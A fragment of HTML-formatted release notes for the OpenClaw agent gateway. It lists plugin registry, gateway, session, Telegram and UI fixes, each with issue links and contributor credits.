<li>Plugins/ClawHub/source/registry: use the ClawHub artifact resolver response as the install decision before downloading, keep bare plugin package specs on npm for the launch cutover and reserve ClawHub resolution for explicit <code>clawhub:</code> specs until ClawHub pack readiness is deployed, discover source-only plugins such as Codex from <code>extensions/*</code>, install ClawPack artifacts from the explicit npm-pack <code>.tgz</code> resolver path, persist artifact kind, npm integrity, shasum, and tarball metadata for update/diagnostics flows, fall back to version metadata when the artifact resolver route is missing, keep the Docker ClawHub fixture aligned with npm-pack artifact resolution, explain unavailable explicit ClawHub ClawPack artifact downloads with a temporary npm install hint, and hash manifest/package metadata when validating persisted plugin registries so fast same-size rewrites cannot leave stale plugin metadata trusted. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Control UI: add validated <code>gateway.controlUi.chatMessageMaxWidth</code> instead of patched bundled CSS, ignore malformed persisted cron rows before they enter UI state, guard stale cron render paths, and bound the default Sessions tab query to recent activity and fewer rows while keeping filters editable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279800285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67935" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67935/hovercard" href="https://github.com/openclaw/openclaw/issues/67935">#67935</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141837644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55047" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55047/hovercard" href="https://github.com/openclaw/openclaw/issues/55047">#55047</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134780011" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54439" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54439/hovercard" href="https://github.com/openclaw/openclaw/issues/54439">#54439</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768078" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76050" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76050/hovercard" href="https://github.com/openclaw/openclaw/issues/76050">#76050</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136558129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54550" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54550/hovercard" href="https://github.com/openclaw/openclaw/pull/54550">#54550</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136644421" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54552/hovercard" href="https://github.com/openclaw/openclaw/pull/54552">#54552</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368768844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76051" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76051/hovercard" href="https://github.com/openclaw/openclaw/pull/76051">#76051</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiew4589-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiew4589-lang">@xiew4589-lang</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neomail2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neomail2">@Neomail2</a>.</li>
<li>Gateway/channels: cap startup fanout at four channel/account handoffs and recover from Bonjour ciao self-probe races, reducing Windows startup stalls with many Telegram accounts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364841887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75687" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75687/hovercard" href="https://github.com/openclaw/openclaw/issues/75687">#75687</a>.</li>
<li>Gateway/sessions: keep <code>sessions.list</code> polling responsive on large session stores by reusing list-safe session cache/indexes and returning a lightweight compaction checkpoint preview instead of heavyweight summaries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rolandrscheel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rolandrscheel">@rolandrscheel</a>.</li>
<li>Control UI/Gateway: keep long-running dashboard WebSocket sessions alive with protocol pings, keep Stop available after reconnect or reload by recovering session-scoped active-run abort state, contain standalone iOS PWA viewports with safe-area-aware document locking, use high-contrast text selection colors, and show inline feedback when local slash-command dispatch is unavailable or fails unexpectedly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321259716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70991" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70991/hovercard" href="https://github.com/openclaw/openclaw/issues/70991">#70991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204728608" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60850/hovercard" href="https://github.com/openclaw/openclaw/issues/60850">#60850</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115024686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52105" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52105/hovercard" href="https://github.com/openclaw/openclaw/issues/52105">#52105</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204759217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60854/hovercard" href="https://github.com/openclaw/openclaw/pull/60854">#60854</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexandre-leng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexandre-leng">@alexandre-leng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kvncrw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kvncrw">@kvncrw</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Badschaff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Badschaff">@Badschaff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MooreQiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MooreQiao">@MooreQiao</a>.</li>
<li>CLI/update: treat inherited Gateway service markers as origin hints and only block package replacement when the managed Gateway is still live, so self-updates can stop the service and continue safely. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365329462" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75729" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75729/hovercard" href="https://github.com/openclaw/openclaw/pull/75729">#75729</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Agents/failover: exempt run-level timeouts that fire during tool execution from model fallback, timeout-triggered compaction, and generic timeout payload synthesis, avoiding misleading "LLM request timed out" errors after the primary model has already responded. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115327379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52147" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52147/hovercard" href="https://github.com/openclaw/openclaw/issues/52147">#52147</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367303713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75873" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75873/hovercard" href="https://github.com/openclaw/openclaw/pull/75873">#75873</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simonusa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simonusa">@simonusa</a>.</li>
<li>Docker: copy Bun 1.3.13 from a digest-pinned image and keep CI on the same version. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350919036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74356" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74356/hovercard" href="https://github.com/openclaw/openclaw/issues/74356">#74356</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>Agents/compaction: keep prior context on consecutive turns against z.ai-style providers (z.ai direct, openrouter z-ai/*, in-house GLM gateways), avoiding accidental Pi state reset after successful turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368789014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76056" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76056/hovercard" href="https://github.com/openclaw/openclaw/pull/76056">#76056</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Doctor/plugins: run a one-time 2026.5.2 configured-plugin install repair based on <code>meta.lastTouchedVersion</code>, update stale configured plugin manifests that still declare channels without <code>channelConfigs</code>, install actively used downloadable OpenClaw plugins through the configured external source, preserve unmanaged third-party plugin <code>node_modules</code>, and then mark the config touched for the release.</li>
<li>Sessions/transcripts: use one <code>session.writeLock.acquireTimeoutMs</code> policy for session transcript lock acquisitions and raise the default wait to 60 seconds, avoiding user-visible lock timeouts during legitimate slow prep, cleanup, compaction, and mirror work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367529883" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75894" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75894/hovercard" href="https://github.com/openclaw/openclaw/issues/75894">#75894</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shandutta/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shandutta">@shandutta</a>.</li>
<li>Agents/restart recovery: match cleaned transcript locks by exact transcript lock paths plus the canonical session fallback, so interrupted main sessions using topic-suffixed transcripts resume after gateway restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368769053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76052" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76052/hovercard" href="https://github.com/openclaw/openclaw/pull/76052">#76052</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>.</li>
<li>Agents/runtime: cache the stable system-prompt prefix and reuse prompt-report tool schema stats during dispatch prep, reducing repeated CPU work before streaming starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368424894" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75999/hovercard" href="https://github.com/openclaw/openclaw/issues/75999">#75999</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368807955" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76061" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76061/hovercard" href="https://github.com/openclaw/openclaw/issues/76061">#76061</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zackchiutw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zackchiutw">@zackchiutw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/STLI69/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/STLI69">@STLI69</a>.</li>
<li>Telegram/native commands: pass persisted session files into plugin commands for topic-bound sessions, so <code>/codex bind</code> works from Telegram forum topics. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367067083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75845" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75845/hovercard" href="https://github.com/openclaw/openclaw/pull/75845">#75845</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368766599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76049/hovercard" href="https://github.com/openclaw/openclaw/pull/76049">#76049</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MatthewSchleder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MatthewSchleder">@MatthewSchleder</a>.</li>
<li>Security audit/plugins: ignore plugin install backup, disabled, and dependency debris directories when enumerating installed plugin roots, avoiding false-positive findings for <code>.openclaw-install-backups</code> after plugin updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363085900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75456" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75456/hovercard" href="https://github.com/openclaw/openclaw/issues/75456">#75456</a>.</li>
<li>Telegram: honor runtime conversation bindings for native slash commands in bound top-level groups, so commands like <code>/status@bot</code> route to the active non-<code>main</code> session instead of falling back to the default route. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362659532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75405" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75405/hovercard" href="https://github.com/openclaw/openclaw/issues/75405">#75405</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363728120" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75558" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75558/hovercard" href="https://github.com/openclaw/openclaw/pull/75558">#75558</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ziptbm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ziptbm">@ziptbm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</li>
<li>Gateway/tasks: make task registry maintenance use pass-local backing-session lookups and fresh active child-session indexes, avoiding repeated full task snapshots and session-store clones on large stale registries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342683931" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73517/hovercard" href="https://github.com/openclaw/openclaw/issues/73517">#73517</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365145364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75708/hovercard" href="https://github.com/openclaw/openclaw/issues/75708">#75708</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351414705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74406" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74406/hovercard" href="https://github.com/openclaw/openclaw/pull/74406">#74406</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365146597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75709/hovercard" href="https://github.com/openclaw/openclaw/pull/75709">#75709</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lightningxxl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lightningxxl">@Lightningxxl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glfruit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glfruit">@glfruit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jared-rebel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jared-rebel">@jared-rebel</a>.</li>
<li>Auth/sessions: JSON-clone auth-profile cache/runtime snapshots and remaining session cleanup previews instead of using <code>structuredClone</code>, preserving mutation isolation while avoiding native-memory growth on large stores. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4073238042" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45438/hovercard" href="https://github.com/openclaw/openclaw/issues/45438">#45438</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/markus-lassfolk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/markus-lassfolk">@markus-lassfolk</a>.</li>
<li>Models CLI: restore <code>openclaw models list --provider &lt;id&gt;</code> catalog and registry fallback rows for unconfigured providers, so provider-specific verification commands no longer report "No models found." Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363447158" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75517" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75517/hovercard" href="https://github.com/openclaw/openclaw/issues/75517">#75517</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364131001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75615/hovercard" href="https://github.com/openclaw/openclaw/pull/75615">#75615</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lotsoftick/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lotsoftick">@lotsoftick</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</li>
<li>Gateway/macOS: write LaunchAgent services with a canonical system PATH and stop preserving old plist PATH entries, so Volta, asdf, fnm, and pnpm shell paths no longer affect gateway child-process Node resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360722639" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75233" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75233/hovercard" href="https://github.com/openclaw/openclaw/issues/75233">#75233</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360954515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75246/hovercard" href="https://github.com/openclaw/openclaw/pull/75246">#75246</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nphyde2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nphyde2">@nphyde2</a>.</li>
<li>Slack/hooks: preserve bot alert attachment text in message-received hook content when command text is blank. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368641515" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76035" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76035/hovercard" href="https://github.com/openclaw/openclaw/issues/76035">#76035</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368643379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76036" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76036/hovercard" href="https://github.com/openclaw/openclaw/pull/76036">#76036</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amsminn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amsminn">@amsminn</a>.</li>
<li>Sessions/agents: route Gateway session-store writes, CLI cleanup maintenance, and agent-delete session purges through a dedicated in-process writer and borrow the validated mutable cache during the writer slot, avoiding runtime file locks plus repeated <code>sessions.json</code> rereads and JSON clones on hot metadata updates. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288028893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68554/hovercard" href="https://github.com/openclaw/openclaw/pull/68554">#68554</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/henkterharmsel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/henkterharmsel">@henkterharmsel</a>.</li>
<li>Memory/markdown: replace CRLF managed blocks in place and collapse duplicate marker blocks without rewriting unmanaged markdown, so Dreaming and Memory Wiki files self-heal from repeated generated sections. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363293115" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75491" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75491/hovercard" href="https://github.com/openclaw/openclaw/issues/75491">#75491</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363308439" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75495/hovercard" href="https://github.com/openclaw/openclaw/pull/75495">#75495</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366593323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75810" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75810/hovercard" href="https://github.com/openclaw/openclaw/pull/75810">#75810</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368473075" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76008" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76008/hovercard" href="https://github.com/openclaw/openclaw/pull/76008">#76008</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asaenokkostya-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asaenokkostya-coder">@asaenokkostya-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ottodeng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ottodeng">@ottodeng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everettjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everettjf">@everettjf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lrg913427-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lrg913427-dot">@lrg913427-dot</a>.</li>
<li>Agents/tools: return critical tool-loop circuit-breaker stops as blocked tool results instead of thrown tool failures, so models see the guardrail and stop retrying the same call. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rayraiser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rayraiser">@rayraiser</a>.</li>
<li>Agents/sessions: preserve pre-existing runtime model and context window after heartbeat turns so a per-run heartbeat model override does not bleed into shared-session status. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363070391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75452" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75452/hovercard" href="https://github.com/openclaw/openclaw/issues/75452">#75452</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Model commands: clarify direct and inline <code>/model</code> acknowledgements for non-default selections as session-scoped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/addu2612/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/addu2612">@addu2612</a>.</li>
<li>Doctor/gateway: stop warning that non-existent, unconfigured user-bin directories are required in the Gateway service PATH. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368545711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76017/hovercard" href="https://github.com/openclaw/openclaw/issues/76017">#76017</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/xiphis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiphis">@xiphis</a>.</li>
<li>TUI/setup: skip full provider model normalization during context-window warmup and bound Terminal hatch bootstrap provider requests, avoiding cold-start stalls with large model registries and first-run hatching stuck behind the watchdog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369916791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76241" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76241/hovercard" href="https://github.com/openclaw/openclaw/pull/76241">#76241</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/547895019/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/547895019">@547895019</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents: enable malformed tool-call argument repair for Codex and Azure OpenAI Responses transports while keeping generic OpenAI Responses paths out of the repair gate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359521991" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75154" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75154/hovercard" href="https://github.com/openclaw/openclaw/issues/75154">#75154</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nimraakram22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nimraakram22">@Nimraakram22</a>.</li>
<li>Memory Wiki: accept relative Markdown links that include the <code>.md</code> suffix during broken-wikilink validation, avoiding false positives for native render-mode links. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenneth8128/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenneth8128">@Kenneth8128</a>.</li>
<li>OpenAI Codex: show the device-pairing code in the interactive SSH/headless prompt while keeping the short-lived code out of persistent runtime logs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348981712" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74212" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74212/hovercard" href="https://github.com/openclaw/openclaw/issues/74212">#74212</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/da22le123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/da22le123">@da22le123</a>.</li>
<li>QA Lab: stop gateway children when the suite parent disappears, so interrupted local QA runs cannot leave hot orphaned gateways behind.</li>
<li>Codex/app-server/plugins: tolerate second connection closes during startup recovery, include retry counts plus stringified restart errors, and allow the official npm Codex plugin to install without the unsafe-install override while keeping <code>/codex</code> command ownership and covering the real npm Docker live path through managed <code>.openclaw/npm</code> dependencies plus uninstall failure proof.</li>
<li>Plugins/CLI: cache plugin CLI registration entries per command program so completion state generation does not repeat the full plugin sweep in one invocation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ScientificProgrammer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ScientificProgrammer">@ScientificProgrammer</a>.</li>
